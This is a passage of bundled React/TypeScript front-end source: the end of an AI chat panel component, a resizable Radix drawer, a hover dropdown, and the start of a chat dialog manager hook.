mentionQuery={mentionQuery}\n                        onMentionQueryChange={handleMentionQueryChange}\n                        onValueChange={handleContextValueChange}\n                        model={{\n                          provider: currentProvider ?? 'anthropic',\n                          modelName: currentModelLabel ?? 'Claude',\n                          usedTokens:\n                            currentInputTokens != null\n                              ? (currentInputTokens ?? 0) + (currentOutputTokens ?? 0)\n                              : undefined,\n                          contextWindow: currentContextWindowMaxTokens ?? undefined,\n                          inputTokens: currentInputTokens ?? undefined,\n                          outputTokens: currentOutputTokens ?? undefined,\n                          hitRatePct: currentCacheHitRatePct ?? undefined,\n                          breakdown: currentUsageBreakdown ?? undefined,\n                        }}\n                      />\n                    </>\n                  )}\n                </div>\n              </div>\n            </div>\n          )}\n        </div>\n        {galleryModal}\n\n        {/* Rename / Archive / Unarchive chat modals (Figma 7592:225962,\n                7592:226181). Triggered from the header ⋯ and the dialog-history\n                rows; rendered inside the panel so they overlay the chat. */}\n        <ChatDialogModals\n          renameTarget={renameTarget}\n          setRenameTarget={setRenameTarget}\n          onConfirmRename={handleConfirmRename}\n          archiveTarget={archiveTarget}\n          setArchiveTarget={setArchiveTarget}\n          onConfirmArchive={handleConfirmArchive}\n          restoreTarget={restoreTarget}\n          setRestoreTarget={setRestoreTarget}\n          onConfirmRestore={handleConfirmRestore}\n        />\n\n        {/* Portal target for in-panel Radix overlays — `display: contents`\n                so it adds no box; content is positioned `fixed` by Radix. */}\n        <div ref={setPortalHost} style={{ display: 'contents' }} />\n      </CollisionBoundaryContext.Provider>\n    </PortalContainerContext.Provider>\n  );\n\n  // Conditional shell: inline (shell-less host, e.g. AppLayoutDrawer, which\n  // provides its own chrome/focus-trap/size) vs the body-level Radix Drawer\n  // (backdrop, iOS scroll-lock, drag-to-resize). Both render the same `body`.\n  const panel = shellLess ? (\n    <ChatPanelContext.Provider value={chatPanelHandle}>\n      {/* Shell-less hosts (AppLayoutDrawer) own the Radix Dialog but not its\n          accessible name — Radix warns when a Dialog.Content has no Title. The\n          panel supplies its own visually-hidden title here, mirroring the\n          drawer-shell branch below, so it's accessible regardless of host. */}\n      <VisuallyHidden>\n        <DialogPrimitive.Title>{sourceLabel} AI Assistant</DialogPrimitive.Title>\n      </VisuallyHidden>\n      {body}\n    </ChatPanelContext.Provider>\n  ) : (\n    <Drawer open={isOpen} onOpenChange={(o: boolean) => !o && handleClose()}>\n      <ChatPanelContext.Provider value={chatPanelHandle}>\n        {/* Panel-level handle for descendants (inline cards, markdown-body\n            links) to close the panel after same-tab navigation. */}\n        <DrawerContent\n          side=\"right\"\n          flush\n          resizable\n          minSize={480}\n          maxSize={1600}\n          defaultSize={drawerDefaultWidth(historyListMode)}\n          storageKey={DRAWER_WIDTH_KEY}\n          resizeAriaLabel=\"Resize chat panel\"\n          overlayClassName=\"mingo-chat-overlay\"\n          aria-describedby={undefined}\n          className=\"mingo-chat-content w-screen !bg-ods-bg shadow-2xl focus:outline-none focus-visible:outline-none md:w-auto\"\n        >\n          <VisuallyHidden>\n            <DialogPrimitive.Title>{sourceLabel} AI Assistant</DialogPrimitive.Title>\n          </VisuallyHidden>\n          {body}\n        </DrawerContent>\n      </ChatPanelContext.Provider>\n    </Drawer>\n  );\n\n  return (\n    <>\n      {/* Floating \"Ask AI\" button — sticky-dock pattern. Suppressed in\n          shell-less mode: the host controls open/close. */}\n      {showInternalTrigger && !shellLess && (\n        <div\n          aria-hidden={isOpen}\n          className={`pointer-events-none sticky bottom-0 z-[9990] h-0 ${isOpen ? 'opacity-0' : 'opacity-100'}`}\n        >\n          <div className=\"absolute bottom-4 right-4 md:bottom-6 md:right-6\">\n            <Button\n              onClick={handleOpen}\n              leftIcon={<MingoIcon className=\"h-5 w-5\" color=\"currentColor\" />}\n              tabIndex={isOpen ? -1 : 0}\n              className={`pointer-events-auto !w-auto shadow-lg ${isOpen ? '!pointer-events-none' : ''}`}\n            >\n              Ask AI\n            </Button>\n          </div>\n        </div>\n      )}\n      {panel}\n    </>\n  );\n}\n","'use client';\n\nimport * as DialogPrimitive from '@radix-ui/react-dialog';\nimport { cva, type VariantProps } from 'class-variance-authority';\nimport { X } from 'lucide-react';\nimport {\n  type CSSProperties,\n  type ComponentPropsWithoutRef,\n  type ComponentRef,\n  type HTMLAttributes,\n  type KeyboardEvent,\n  type PointerEvent,\n  type ReactNode,\n  forwardRef,\n  useCallback,\n  useEffect,\n  useRef,\n  useState,\n} from 'react';\n\nimport { useHeaderHeight } from '../../hooks/ui/use-header-height';\nimport { cn } from '../../utils/cn';\nimport { clamp } from '../../utils/common';\n\n/** Unified overlay backdrop — dimmed, no blur. Single source of truth for\n *  every full-screen backdrop (Drawer, AppLayoutDrawer, MobileBurgerMenu,\n *  TimeTracker popover) so all panels dim the page identically. */\nconst OVERLAY_BACKDROP_CLASS = 'bg-ods-overlay';\n\nconst Drawer = DialogPrimitive.Root;\n\nconst DrawerTrigger = DialogPrimitive.Trigger;\n\nconst DrawerClose = DialogPrimitive.Close;\n\nconst DrawerPortal = DialogPrimitive.Portal;\n\nconst DrawerOverlay = forwardRef<\n  ComponentRef<typeof DialogPrimitive.Overlay>,\n  ComponentPropsWithoutRef<typeof DialogPrimitive.Overlay>\n>(({ className, ...props }, ref) => (\n  <DialogPrimitive.Overlay\n    ref={ref}\n    className={cn(\n      'fixed inset-0 z-[9997] outline-none focus:outline-none focus-visible:outline-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0',\n      OVERLAY_BACKDROP_CLASS,\n      className,\n    )}\n    {...props}\n  />\n));\nDrawerOverlay.displayName = 'DrawerOverlay';\n\nconst drawerVariants = cva(\n  'fixed z-[9998] flex outline-none focus:outline-none focus-visible:outline-none data-[state=closed]:duration-300 data-[state=open]:duration-300 data-[state=open]:animate-in data-[state=closed]:animate-out',\n  {\n    variants: {\n      side: {\n        right:\n          'inset-y-0 right-0 items-center data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right',\n        left: 'inset-y-0 left-0 items-center data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left',\n        top: 'inset-x-0 top-0 justify-center data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top',\n        bottom:\n          'inset-x-0 bottom-0 justify-center data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom',\n      },\n      flush: {\n        false: '',\n        true: '',\n      },\n    },\n    compoundVariants: [\n      { side: 'right', flush: false, class: 'py-4 pr-4' },\n      { side: 'left', flush: false, class: 'py-4 pl-4' },\n      { side: 'top', flush: false, class: 'px-4 pt-4' },\n      { side: 'bottom', flush: false, class: 'px-4 pb-4' },\n      // flush=true → same wrapper padding as default on desktop so the\n      // panel floats with a uniform 16px gap; on mobile (< md) the\n      // padding is dropped so the panel can be full-bleed.\n      // `flush` controls panel chrome (rounded/border/inner-padding),\n      // NOT wrapper positioning — those concerns are independent.\n      { side: 'right', flush: true, class: 'md:py-4 md:pr-4' },\n      { side: 'left', flush: true, class: 'md:py-4 md:pl-4' },\n      { side: 'top', flush: true, class: 'md:px-4 md:pt-4' },\n      { side: 'bottom', flush: true, class: 'md:px-4 md:pb-4' },\n    ],\n    defaultVariants: {\n      side: 'right',\n      flush: false,\n    },\n  },\n);\n\nconst drawerPanelVariants = cva(\n  'relative flex flex-col overflow-hidden bg-ods-card outline-none focus:outline-none focus-visible:outline-none',\n  {\n    variants: {\n      side: {\n        right: 'h-full',\n        left: 'h-full',\n        top: 'w-full',\n        bottom: 'w-full',\n      },\n      flush: {\n        false: 'gap-4 rounded-md border border-ods-border p-4',\n        true: '',\n      },\n    },\n    compoundVariants: [\n      // flush=true → drops inner padding/gap so the consumer fully owns\n      // internal layout, BUT preserves the card chrome (rounded + border)\n      // on desktop so the panel still reads as an elevated card.\n      // On mobile the panel is full-bleed → no rounded/border there.\n      { side: 'right', flush: true, class: 'md:rounded-md md:border md:border-ods-border' },\n      { side: 'left', flush: true, class: 'md:rounded-md md:border md:border-ods-border' },\n      { side: 'top', flush: true, class: 'md:rounded-md md:border md:border-ods-border' },\n      { side: 'bottom', flush: true, class: 'md:rounded-md md:border md:border-ods-border' },\n    ],\n    defaultVariants: {\n      side: 'right',\n      flush: false,\n    },\n  },\n);\n\ntype DrawerSide = 'right' | 'left' | 'top' | 'bottom';\n\nconst HORIZONTAL_SIDES: ReadonlySet<DrawerSide> = new Set(['left', 'right']);\n\nfunction viewportSize(isHorizontal: boolean): number {\n  if (typeof window === 'undefined') return 0;\n  return isHorizontal ? window.innerWidth : window.innerHeight;\n}\n\ninterface UseResizableSizeArgs {\n  enabled: boolean;\n  isHorizontal: boolean;\n  minSize: number;\n  maxSize: number;\n  defaultSize: number;\n  storageKey?: string;\n}\n\nfunction useResizableSize({ enabled, isHorizontal, minSize, maxSize, defaultSize, storageKey }: UseResizableSizeArgs) {\n  const clampToViewport = useCallback(\n    (value: number) => {\n      const vp = viewportSize(isHorizontal);\n      const effectiveMax = vp > 0 ? Math.min(maxSize, vp - 80) : maxSize;\n      return clamp(value, minSize, Math.max(minSize, effectiveMax));\n    },\n    [isHorizontal, minSize, maxSize],\n  );\n\n  const readInitial = useCallback(() => {\n    if (!enabled) return defaultSize;\n    if (typeof window === 'undefined') return defaultSize;\n    if (!storageKey) return clampToViewport(defaultSize);\n    try {\n      const raw = window.localStorage.getItem(storageKey);\n      if (!raw) return clampToViewport(defaultSize);\n      const parsed = parseFloat(raw);\n      if (!Number.isFinite(parsed)) return clampToViewport(defaultSize);\n      return clampToViewport(parsed);\n    } catch {\n      return clampToViewport(defaultSize);\n    }\n  }, [enabled, storageKey, defaultSize, clampToViewport]);\n\n  const [size, setSizeRaw] = useState<number>(readInitial);\n\n  const setSize = useCallback((next: number) => setSizeRaw(clampToViewport(next)), [clampToViewport]);\n\n  useEffect(() => {\n    if (!enabled || !storageKey || typeof window === 'undefined') return;\n    try {\n      window.localStorage.setItem(storageKey, String(Math.round(size)));\n    } catch {\n      // ignore quota / disabled-storage\n    }\n  }, [enabled, size, storageKey]);\n\n  useEffect(() => {\n    if (!enabled || typeof window === 'undefined') return undefined;\n    const onResize = () => setSizeRaw(prev => clampToViewport(prev));\n    window.addEventListener('resize', onResize);\n    return () => window.removeEventListener('resize', onResize);\n  }, [enabled, clampToViewport]);\n\n  return { size, setSize };\n}\n\ninterface DrawerResizeHandleProps {\n  side: DrawerSide;\n  size: number;\n  minSize: number;\n  maxSize: number;\n  onSize: (next: number) => void;\n  ariaLabel?: string;\n}\n\nfunction DrawerResizeHandle({ side, size, minSize, maxSize, onSize, ariaLabel }: DrawerResizeHandleProps) {\n  const isHorizontal = HORIZONTAL_SIDES.has(side);\n  const startRef = useRef<{ x: number; y: number; size: number } | null>(null);\n\n  const direction = side === 'right' || side === 'bottom' ? -1 : 1;\n\n  const handlePointerDown = (e: PointerEvent<HTMLDivElement>) => {\n    if (e.button !== 0 && e.pointerType === 'mouse') return;\n    e.preventDefault();\n    startRef.current = { x: e.clientX, y: e.clientY, size };\n    e.currentTarget.setPointerCapture(e.pointerId);\n    document.body.style.cursor = isHorizontal ? 'col-resize' : 'row-resize';\n    document.body.style.userSelect = 'none';\n  };\n\n  const handlePointerMove = (e: PointerEvent<HTMLDivElement>) => {\n    const start = startRef.current;\n    if (!start) return;\n    const delta = isHorizontal ? e.clientX - start.x : e.clientY - start.y;\n    onSize(start.size + delta * direction);\n  };\n\n  const endDrag = (e: PointerEvent<HTMLDivElement>) => {\n    if (!startRef.current) return;\n    startRef.current = null;\n    try {\n      e.currentTarget.releasePointerCapture(e.pointerId);\n    } catch {\n      // ignore — pointer may already be released\n    }\n    document.body.style.cursor = '';\n    document.body.style.userSelect = '';\n  };\n\n  const handleKeyDown = (e: KeyboardEvent<HTMLDivElement>) => {\n    const step = e.shiftKey ? 40 : 16;\n    if (isHorizontal) {\n      if (e.key === 'ArrowLeft') {\n        e.preventDefault();\n        onSize(size + step * (side === 'right' ? 1 : -1));\n      } else if (e.key === 'ArrowRight') {\n        e.preventDefault();\n        onSize(size + step * (side === 'right' ? -1 : 1));\n      }\n    } else {\n      if (e.key === 'ArrowUp') {\n        e.preventDefault();\n        onSize(size + step * (side === 'bottom' ? 1 : -1));\n      } else if (e.key === 'ArrowDown') {\n        e.preventDefault();\n        onSize(size + step * (side === 'bottom' ? -1 : 1));\n      }\n    }\n    if (e.key === 'Home') {\n      e.preventDefault();\n      onSize(minSize);\n    } else if (e.key === 'End') {\n      e.preventDefault();\n      onSize(maxSize);\n    }\n  };\n\n  // Handle is rendered as a SIBLING of the panel (child of DialogPrimitive.Content)\n  // so the panel can use `overflow-hidden` without clipping the handle.\n  // Wrapper has `py-4 px-4` (or `md:py-4 md:px-4` for flush on desktop)\n  // when the handle is visible — handle is desktop-only, where both flush\n  // and non-flush wrappers carry that padding — so `top-4 bottom-4` (or\n  // `left-4 right-4`) aligns the handle with the panel's bounds.\n  const trackPosition =\n    side === 'right'\n      ? 'right-full top-4 bottom-4 w-3 items-center justify-end pr-1'\n      : side === 'left'\n        ? 'left-full top-4 bottom-4 w-3 items-center justify-start pl-1'\n        : side === 'bottom'\n          ? 'bottom-full left-4 right-4 h-3 justify-center items-end pb-1'\n          : 'top-full left-4 right-4 h-3 justify-center items-start pt-1';\n\n  const cursorClass = isHorizontal ? 'cursor-col-resize' : 'cursor-row-resize';\n\n  const gripClass = isHorizontal ? 'h-10 w-1' : 'w-10 h-1';\n\n  return (\n    <div\n      role=\"separator\"\n      tabIndex={0}\n      aria-orientation={isHorizontal ? 'vertical' : 'horizontal'}\n      aria-valuenow={Math.round(size)}\n      aria-valuemin={minSize}\n      aria-valuemax={maxSize}\n      aria-label={ariaLabel ?? (isHorizontal ? 'Resize panel width' : 'Resize panel height')}\n      onPointerDown={handlePointerDown}\n      onPointerMove={handlePointerMove}\n      onPointerUp={endDrag}\n      onPointerCancel={endDrag}\n      onKeyDown={handleKeyDown}\n      className={cn(\n        'group absolute z-20 flex touch-none select-none',\n        'outline-none ring-0 focus:outline-none focus:ring-0 focus-visible:outline-none focus-visible:ring-0',\n        trackPosition,\n        cursorClass,\n      )}\n    >\n      <div aria-hidden className={cn('rounded-full bg-ods-bg-surface', gripClass)} />\n    </div>\n  );\n}\n\ninterface DrawerContentProps\n  extends Omit<ComponentPropsWithoutRef<typeof DialogPrimitive.Content>, 'style'>, VariantProps<typeof drawerVariants> {\n  /** Remove outer wrapper padding and panel rounded/border/padding so the\n   *  panel attaches flush to the viewport edge. Use for full-height side\n   *  panels (e.g. the embedded chat). */\n  flush?: boolean;\n  /** Enable the drag-to-resize handle on the inside-facing edge. Only\n   *  active for `side=\"left\"` / `side=\"right\"` (or `top`/`bottom`) on\n   *  non-mobile viewports. */\n  resizable?: boolean;\n  /** Minimum allowed size (px) when resizable. */\n  minSize?: number;\n  /** Maximum allowed size (px) when resizable. Also clamped by viewport. */\n  maxSize?: number;\n  /** Initial size (px) when no localStorage entry exists. */\n  defaultSize?: number;\n  /** localStorage key for persisting the size across sessions. */\n  storageKey?: string;\n  /** Pixel breakpoint below which `resizable` is disabled and inline\n   *  size is not applied (so consumer CSS can render full-viewport).\n   *  Defaults to 800 — the library's Tailwind `md` breakpoint, so the JS\n   *  mobile switch and the `md:` panel styles flip together. */\n  mobileBreakpoint?: number;\n  /** Optional className applied to the overlay. */\n  overlayClassName?: string;\n  /** Optional aria-label for the resize handle. */\n  resizeAriaLabel?: string;\n  /** Inline style merged onto the outer animated wrapper (DialogPrimitive.Content).\n   *  Use this for animation-end transform/animation resets so `position: fixed`\n   *  descendants can escape the wrapper's containing block. */\n  style?: CSSProperties;\n  /** Inline style merged onto the inner panel (next to the resize-driven size). */\n  panelStyle?: CSSProperties;\n  /** Optional className applied to the inner panel. (Alias for `className`.) */\n  panelClassName?: string;\n  /** Offset the drawer's top edge below the app header + announcement bar.\n   *  Measured live via ResizeObserver so it tracks height changes. */\n  offsetHeader?: boolean;\n}\n\nconst DrawerContent = forwardRef<ComponentRef<typeof DialogPrimitive.Content>, DrawerContentProps>(\n  (\n    {\n      side = 'right',\n      flush = false,\n      resizable = false,\n      minSize = 320,\n      maxSize = 1280,\n      defaultSize,\n      storageKey,\n      mobileBreakpoint = 800,\n      overlayClassName,\n      resizeAriaLabel,\n      className,\n      style,\n      panelStyle,\n      panelClassName,\n      offsetHeader = false,\n      children,\n      ...props\n    },\n    ref,\n  ) => {\n    const resolvedSide: DrawerSide = side ?? 'right';\n    const isHorizontal = HORIZONTAL_SIDES.has(resolvedSide);\n    const initialSize = defaultSize ?? (isHorizontal ? 560 : 480);\n\n    const headerHeight = useHeaderHeight();\n\n    const [isMobile, setIsMobile] = useState(false);\n    useEffect(() => {\n      if (typeof window === 'undefined') return undefined;\n      const mq = window.matchMedia(`(max-width: ${mobileBreakpoint - 1}px)`);\n      const update = () => setIsMobile(mq.matches);\n      update();\n      mq.addEventListener('change', update);\n      return () => mq.removeEventListener('change', update);\n    }, [mobileBreakpoint]);\n\n    const { size, setSize } = useResizableSize({\n      enabled: resizable,\n      isHorizontal,\n      minSize,\n      maxSize,\n      defaultSize: initialSize,\n      storageKey,\n    });\n\n    const applyInlineSize = resizable && !isMobile;\n    const sizeStyle: CSSProperties = applyInlineSize ? (isHorizontal ? { width: size } : { height: size }) : {};\n\n    return (\n      <DrawerPortal>\n        <DrawerOverlay className={overlayClassName} />\n        <DialogPrimitive.Content\n          ref={ref}\n          className={cn(drawerVariants({ side, flush }))}\n          style={{ ...(offsetHeader ? { top: headerHeight } : {}), ...style }}\n          {...props}\n        >\n          {/* Resize handle is a sibling of the panel — outside the panel's\n              `overflow-hidden` so the drag track stays visible while the\n              panel cleanly clips children to its rounded corners. */}\n          {applyInlineSize ? (\n            <DrawerResizeHandle\n              side={resolvedSide}\n              size={size}\n              minSize={minSize}\n              maxSize={maxSize}\n              onSize={setSize}\n              ariaLabel={resizeAriaLabel}\n            />\n          ) : null}\n          <div\n            className={cn(drawerPanelVariants({ side, flush }), className, panelClassName)}\n            style={{ ...sizeStyle, ...panelStyle }}\n          >\n            {children}\n          </div>\n        </DialogPrimitive.Content>\n      </DrawerPortal>\n    );\n  },\n);\nDrawerContent.displayName = 'DrawerContent';\n\nconst DrawerHeader = ({ className, children, ...props }: HTMLAttributes<HTMLDivElement>) => (\n  <div className={cn('flex flex-col gap-4', className)} {...props}>\n    {children}\n  </div>\n);\nDrawerHeader.displayName = 'DrawerHeader';\n\ninterface DrawerTitleProps extends ComponentPropsWithoutRef<typeof DialogPrimitive.Title> {\n  /** Optional header actions rendered between the title and the close button. */\n  actions?: ReactNode;\n  /** Hide the close (X) button. */\n  hideClose?: boolean;\n}\n\nconst DrawerTitle = forwardRef<ComponentRef<typeof DialogPrimitive.Title>, DrawerTitleProps>(\n  ({ className, children, actions, hideClose, ...props }, ref) => (\n    <div className=\"flex items-start gap-4\">\n      <DialogPrimitive.Title\n        ref={ref}\n        className={cn('min-w-0 flex-1 break-words text-ods-text-primary text-h3', className)}\n        {...props}\n      >\n        {children}\n      </DialogPrimitive.Title>\n      {actions}\n      {!hideClose && (\n        <DialogPrimitive.Close className=\"shrink-0 rounded-sm text-ods-text-secondary outline-none ring-0 transition-colors hover:text-ods-text-primary focus:outline-none focus:ring-0 focus-visible:outline-none focus-visible:ring-0\">\n          <X className=\"size-6\" />\n          <span className=\"sr-only\">Close</span>\n        </DialogPrimitive.Close>\n      )}\n    </div>\n  ),\n);\nDrawerTitle.displayName = 'DrawerTitle';\n\nconst DrawerDescription = forwardRef<\n  ComponentRef<typeof DialogPrimitive.Description>,\n  ComponentPropsWithoutRef<typeof DialogPrimitive.Description>\n>(({ className, ...props }, ref) => (\n  <DialogPrimitive.Description\n    ref={ref}\n    className={cn('min-w-0 break-words text-ods-text-secondary text-h6', className)}\n    {...props}\n  />\n));\nDrawerDescription.displayName = 'DrawerDescription';\n\nconst DrawerBody = ({ className, ...props }: HTMLAttributes<HTMLDivElement>) => (\n  <div className={cn('flex flex-1 flex-col gap-4 overflow-y-auto', className)} {...props} />\n);\nDrawerBody.displayName = 'DrawerBody';\n\nconst DrawerFooter = ({ className, ...props }: HTMLAttributes<HTMLDivElement>) => (\n  <div className={cn('mt-auto flex flex-col gap-2', className)} {...props} />\n);\nDrawerFooter.displayName = 'DrawerFooter';\n\nexport {\n  OVERLAY_BACKDROP_CLASS,\n  Drawer,\n  DrawerTrigger,\n  DrawerClose,\n  DrawerPortal,\n  DrawerOverlay,\n  DrawerContent,\n  DrawerHeader,\n  DrawerTitle,\n  DrawerDescription,\n  DrawerBody,\n  DrawerFooter,\n};\n\nexport type { DrawerContentProps, DrawerSide, DrawerTitleProps };\n","'use client';\n\nimport type React from 'react';\nimport { useState, useRef, useCallback } from 'react';\nimport { useIsomorphicLayoutEffect } from '../../hooks/ui/use-isomorphic-layout-effect';\n\n// =============================================================================\n// Types\n// =============================================================================\n\nexport interface HoverDropdownItem {\n  label: string;\n  icon?: React.ReactNode;\n  href?: string;\n  /**\n   * Target platform for the row's link — threaded through to the caller's\n   * `renderAnchor` slot, which decides how to route (same tab vs new tab,\n   * embed-aware open, etc.). Plain UI dropdown — no internal click rule.\n   */\n  targetPlatform?: string | null;\n  /**\n   * In-app doc-tree path for `markdown` / `data_room_doc` refs. Threaded\n   * through to the caller's `renderAnchor` so chat consumers can wire it\n   * into `handleChatNavClick` and trigger an in-page doc-tree swap\n   * (parity with source chips and inline cards).\n   */\n  path?: string | null;\n  /**\n   * @deprecated Pass `targetPlatform` to the consumer's `renderAnchor` and\n   * let it decide. Kept on the item shape for caller-side decisions but\n   * unused by this component.\n   */\n  alwaysNewTab?: boolean;\n  onClick?: () => void;\n  /** Optional secondary action rendered as a small icon-button at the\n   *  right edge of the row. Independent of the row's primary click target\n   *  — clicking the secondary button does NOT navigate. */\n  secondaryAction?: {\n    icon: React.ReactNode;\n    label: string;\n    onClick: () => void;\n  };\n}\n\nexport interface HoverDropdownRenderAnchorArgs {\n  href: string;\n  targetPlatform?: string | null;\n  /** In-app doc-tree path — chat consumers forward to `handleChatNavClick`\n   *  for doc-tree swap parity with chips + inline cards. */\n  path?: string | null;\n  alwaysNewTab?: boolean;\n  className: string;\n  children: React.ReactNode;\n}\n\ninterface HoverDropdownProps {\n  /** The trigger element — dropdown appears on hover */\n  children: React.ReactNode;\n  /** Items to show in the dropdown */\n  items: HoverDropdownItem[];\n  /** Dropdown position relative to trigger (default: 'top') */\n  side?: 'top' | 'bottom';\n  /** Delay in ms before hiding on mouse leave (default: 200) */\n  hideDelay?: number;\n  /** Additional className for the dropdown container */\n  className?: string;\n  /**\n   * Optional anchor renderer for rows that have an `href`. Chat consumers\n   * supply a `<NavLinkAnchorViaRuntime>`-backed renderer so clicks route\n   * through the chat runtime; non-chat consumers can skip this and rely\n   * on the default plain `<a>`.\n   */\n  renderAnchor?: (args: HoverDropdownRenderAnchorArgs) => React.ReactNode;\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * Generic hover dropdown — shows a list of clickable items on hover.\n *\n * Uses fixed positioning with getBoundingClientRect for proper placement\n * inside containers with overflow hidden (e.g., Sheet, modals).\n *\n * Usage:\n *   <HoverDropdown items={[{ label: 'Blog Post', href: '/blog/1' }]}>\n *     <span>Blog Posts (5)</span>\n *   </HoverDropdown>\n */\nfunction DefaultAnchor({ href, className, children }: HoverDropdownRenderAnchorArgs) {\n  return (\n    <a href={href} className={className}>\n      {children}\n    </a>\n  );\n}\n\nexport function HoverDropdown({\n  children,\n  items,\n  side = 'top',\n  hideDelay = 200,\n  className,\n  renderAnchor,\n}: HoverDropdownProps) {\n  const [open, setOpen] = useState(false);\n  const timeoutRef = useRef<ReturnType<typeof setTimeout>>(undefined);\n  const containerRef = useRef<HTMLDivElement>(null);\n  const panelRef = useRef<HTMLDivElement>(null);\n\n  // Viewport-fit placement is a DOM MEASUREMENT — the panel's own rendered\n  // width/height plus the trigger's live rect — so it is written to the node\n  // from a layout effect rather than from inside a callback ref. Deliberately\n  // dependency-less, which reproduces the callback ref's cadence exactly: the\n  // ref was an inline arrow, so React tore it down and re-attached it on EVERY\n  // commit, re-placing the panel each time. It still runs before paint, so the\n  // panel's first frame is already at its final coordinates and never jumps.\n  useIsomorphicLayoutEffect(() => {\n    const el = panelRef.current;\n    const container = containerRef.current;\n    if (!el || !container) return;\n    const rect = container.getBoundingClientRect();\n    const elHeight = el.offsetHeight;\n    const elWidth = el.offsetWidth;\n\n    // Try to place to the right of the trigger first\n    const spaceRight = window.innerWidth - rect.right;\n    const spaceLeft = rect.left;\n    const fitsRight = spaceRight >= elWidth + 8;\n    const fitsLeft = spaceLeft >= elWidth + 8;\n\n    if (fitsRight || (!fitsLeft && spaceRight >= spaceLeft)) {\n      // Place to the right\n      el.style.left = `${rect.right + 4}px`;\n      el.style.top = `${Math.min(Math.max(rect.top, 8), window.innerHeight - elHeight - 8)}px`;\n    } else if (fitsLeft) {\n      // Place to the left\n      el.style.left = `${rect.left - elWidth - 4}px`;\n      el.style.top = `${Math.min(Math.max(rect.top, 8), window.innerHeight - elHeight - 8)}px`;\n    } else {\n      // Fallback: place above or below\n      const left = Math.min(Math.max(rect.left, 8), window.innerWidth - elWidth - 8);\n      el.style.left = `${left}px`;\n      if (side === 'top' || window.innerHeight - rect.bottom < elHeight + 8) {\n        el.style.top = `${Math.max(rect.top - elHeight - 4, 8)}px`;\n      } else {\n        el.style.top = `${rect.bottom + 4}px`;\n      }\n    }\n  });\n\n  const show = useCallback(() => {\n    clearTimeout(timeoutRef.current);\n    setOpen(true);\n  }, []);\n\n  const hide = useCallback(() => {\n    timeoutRef.current = setTimeout(() => setOpen(false), hideDelay);\n  }, [hideDelay]);\n\n  // Click handler — touch / mobile (no hover) + desktop users who\n  // expect clicking a chip to open a menu. Toggles the dropdown state\n  // so a second click closes it. `stopPropagation` prevents the click\n  // from bubbling to ancestor handlers (the chip's parent message\n  // bubble shouldn't react to chip clicks).\n  const toggle = useCallback((e: React.MouseEvent) => {\n    e.stopPropagation();\n    clearTimeout(timeoutRef.current);\n    setOpen(prev => !prev);\n  }, []);\n\n  // Every hook is above this line: an `items` list that goes from empty to\n  // populated must not change how many hooks this component renders.\n  if (items.length === 0) return <>{children}</>;\n\n  const renderAnchorFn = renderAnchor ?? DefaultAnchor;\n\n  return (\n    <div ref={containerRef} className=\"relative inline-flex\" onMouseEnter={show} onMouseLeave={hide} onClick={toggle}>\n      {children}\n      {open && (\n        <div\n          className={`fixed z-[9999] max-h-[420px] min-w-[220px] max-w-[340px] overflow-y-auto rounded-lg border border-ods-border bg-ods-card p-1 shadow-xl ${className || ''}`}\n          // `left`/`top` are intentionally absent here — the layout effect above\n          // owns them, because both values are live DOM measurements.\n          ref={panelRef}\n        >\n          {items.map((item, i) => {\n            const content = (\n              <>\n                {item.icon && <span className=\"flex-shrink-0 [&_svg]:size-3.5\">{item.icon}</span>}\n                <span className=\"min-w-0 flex-1 truncate\">{item.label}</span>\n              </>\n            );\n\n            // Each row is a flex container: primary action (link or button)\n            // occupies the left expanding region; the optional secondary\n            // action (\"Ask\") sits at the right as a sibling icon-button so\n            // its click is independent of the primary navigation.\n            const rowClass =\n              'group flex w-full items-center gap-1.5 pl-2 pr-1 py-1.5 rounded text-h6 text-ods-text-secondary hover:bg-ods-accent/10 transition-colors text-left';\n            const primaryClass =\n              'flex flex-1 items-center gap-1.5 min-w-0 hover:text-ods-accent cursor-pointer no-underline';\n\n            // Bound before the JSX: the `onClick` handler fires long after this\n            // render, so the `item.secondaryAction` narrowing does not reach\n            // inside it — the local does.\n            const secondaryAction = item.secondaryAction;\n            const secondary = secondaryAction ? (\n              <button\n                onClick={e => {\n                  e.preventDefault();\n                  e.stopPropagation();\n                  secondaryAction.onClick();\n                }}\n                aria-label={secondaryAction.label}\n                title={secondaryAction.label}\n                className=\"inline-flex h-5 w-5 flex-shrink-0 items-center justify-center rounded text-ods-text-secondary opacity-60 transition-opacity hover:bg-ods-accent/15 hover:text-ods-text-primary hover:opacity-100 [&_svg]:size-3\"\n              >\n                {secondaryAction.icon}\n              </button>\n            ) : null;\n\n            if (item.href) {\n              // Caller supplies the anchor renderer (defaults to plain <a>).\n              // Chat consumers wire `NavLinkAnchorViaRuntime` here so clicks\n              // route through the chat runtime.\n              return (\n                <div key={i} className={rowClass}>\n                  {renderAnchorFn({\n                    href: item.href,\n                    targetPlatform: item.targetPlatform,\n                    path: item.path,\n                    alwaysNewTab: item.alwaysNewTab,\n                    className: primaryClass,\n                    children: content,\n                  })}\n                  {secondary}\n                </div>\n              );\n            }\n\n            // Item has no primary action — render the label as a\n            // non-interactive span. The secondary Ask button remains\n            // active, so the row is still useful for rows that have no\n            // public viewer URL but DO have a working Ask drill-in.\n            if (!item.onClick) {\n              return (\n                <div key={i} className={rowClass}>\n                  <span className={`${primaryClass} cursor-default hover:!text-ods-text-secondary`}>{content}</span>\n                  {secondary}\n                </div>\n              );\n            }\n\n            return (\n              <div key={i} className={rowClass}>\n                <button onClick={item.onClick} className={primaryClass}>\n                  {content}\n                </button>\n                {secondary}\n              </div>\n            );\n          })}\n        </div>\n      )}\n    </div>\n  );\n}\n","'use client';\n\nimport { useCallback, useMemo, useRef, useState } from 'react';\nimport type { DialogItem } from '../types/component.types';\nimport type { FetchDialogsParams, FetchDialogsResult } from './use-nats-chat-adapter';\n\nexport interface UseChatDialogManagerArgs {\n  /** Active (non-archived) dialogs from the unified chat state. */\n  dialogs: ReadonlyArray<DialogItem>;\n  /** Currently-open dialog id. */\n  activeDialogId: string | null | undefined;\n  /** Open a dialog by id. */\n  selectDialog: (id: string | null) => void;\n  /** Reset the open conversation (drops back to the list / empty state). */\n  clearMessages: () => void;\n  /** Rename a dialog (wired through the active adapter). 